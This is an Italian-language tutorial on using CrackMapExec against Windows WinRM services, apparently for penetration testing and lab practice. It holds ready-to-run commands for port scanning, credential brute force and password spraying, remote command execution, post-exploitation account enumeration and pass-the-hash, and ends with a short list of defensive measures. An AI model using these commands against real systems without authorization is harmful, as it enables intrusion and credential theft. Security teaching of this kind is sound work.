Tutorials

🛠️ CrackMapExec e WinRM – Guida Completa

CrackMapExec CME è uno strumento multiprotocollo scritto in Python3, sviluppato per automatizzare le fasi di enumerazione, autenticazione, post-exploitation e lateral movement in ambienti Active Direc

#exploitation#windows

🛠️ CrackMapExec e WinRM – Guida Completa

📌 Cos’è CrackMapExec?

CrackMapExec (CME) è uno strumento multiprotocollo scritto in Python3, sviluppato per automatizzare le fasi di enumerazione, autenticazione, post-exploitation e lateral movement in ambienti Active Directory.

Tra i protocolli supportati troviamo:

  • SMB
  • WinRM
  • RDP
  • MSSQL
  • LDAP
  • SSH

Nel contesto WinRM, CME è un’arma formidabile per:

  • Effettuare brute force
  • Verificare credenziali
  • Interagire con host compromessi
  • Eseguire comandi remoti

🔍 Requisiti

  • Python 3.7+
  • Impacket (incluso nel repo)
  • Powershell attivo sul target (WinRM usa Powershell come backend)

⚙️ Installazione

bash
git clone https://github.com/Porchetta-Industries/CrackMapExec
cd CrackMapExec
pip install -r requirements.txt
python setup.py install

Puoi anche installarlo direttamente via pip:

bash
pipx install crackmapexec

🎯 Enumerazione e Brute Force con WinRM

🔎 1. Verifica servizio attivo

Controlla che WinRM sia abilitato e in ascolto:

bash
nmap -p 5985,5986 --open -sV <target_ip>

🔐 2. Autenticazione con CME

#### ✅ Credenziali statiche:

bash
crackmapexec winrm <target_ip> -u <utente> -p <password>

#### 📚 Wordlist:

bash
crackmapexec winrm <target_ip> -u users.txt -p passwords.txt

#### 🔁 Esempio reale:

bash
crackmapexec winrm demo.ine.local -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

🎯 Flags avanzate utili

FlagDescrizione
--continue-on-successContinua anche dopo che trova una coppia valida
--local-authUsa l’autenticazione locale invece del dominio
--no-bruteforceDisattiva tentativi ripetuti (utile per testare velocemente credenziali)
-d Specifica un dominio

⚔️ Esecuzione Remota di Comandi

Se hai ottenuto credenziali valide, CME permette l’esecuzione di comandi remoti via PowerShell su WinRM:

bash
crackmapexec winrm <target_ip> -u <user> -p <pass> -x "<comando>"

🔁 Esempi pratici:

bash
crackmapexec winrm 10.10.10.10 -u administrator -p password123 -x "whoami" crackmapexec winrm 10.10.10.10 -u administrator -p password123 -x "ipconfig /all"

Può essere usato per enumerare utenti, eseguire payload, o dumpare hash in combinazione con altri strumenti.


🧬 Output e Risultati

CME fornisce output dettagliato per ogni credenziale testata:

  • [+] Autenticazione riuscita
  • [-] Fallita
  • [!] Errore o timeout

In caso di successo, eseguirà il comando specificato e stamperà l’output.


🧪 Post-Exploitation con CME + WinRM

Una volta autenticati, puoi usare CME per ottenere informazioni critiche:

bash
crackmapexec winrm <ip> -u <user> -p <pass> -x "net user"
bash
crackmapexec winrm <ip> -u <user> -p <pass> -x "net localgroup administrators"

🛡 Tecniche difensive consigliate:

  • Limitare accesso a WinRM a gruppi specifici
  • Applicare restrizioni firewall per 5985/5986
  • Abilitare il logging degli eventi di WinRM
  • Disabilitare WinRM se non necessario

🎓 Integrazione in un workflow di pentest

Fase 1: Scansione

bash
nmap -p 5985,5986 -sV <target_subnet>

Fase 2: Enumerazione utenti (SMB/LDAP)

Fase 3: Brute force WinRM

bash
crackmapexec winrm <ip> -u users.txt -p passwords.txt

Fase 4: Accesso ed esecuzione comandi

bash
crackmapexec winrm <ip> -u <user> -p <pass> -x "whoami"

Fase 5: Accesso con Evil-WinRM per interazione completa


🧰 Pro Tips

  • Puoi combinare output CME con grep o jq per parse automatizzati in script
  • Usa il modulo spray se vuoi testare una sola password per tanti utenti
bash
crackmapexec winrm <ip> -u users.txt -p "Password1" --continue-on-success
  • Puoi usare CME anche per pass-the-hash, se hai gli NTLM:
bash
crackmapexec winrm <ip> -u administrator -H <NTLM_hash>

📎 Risorse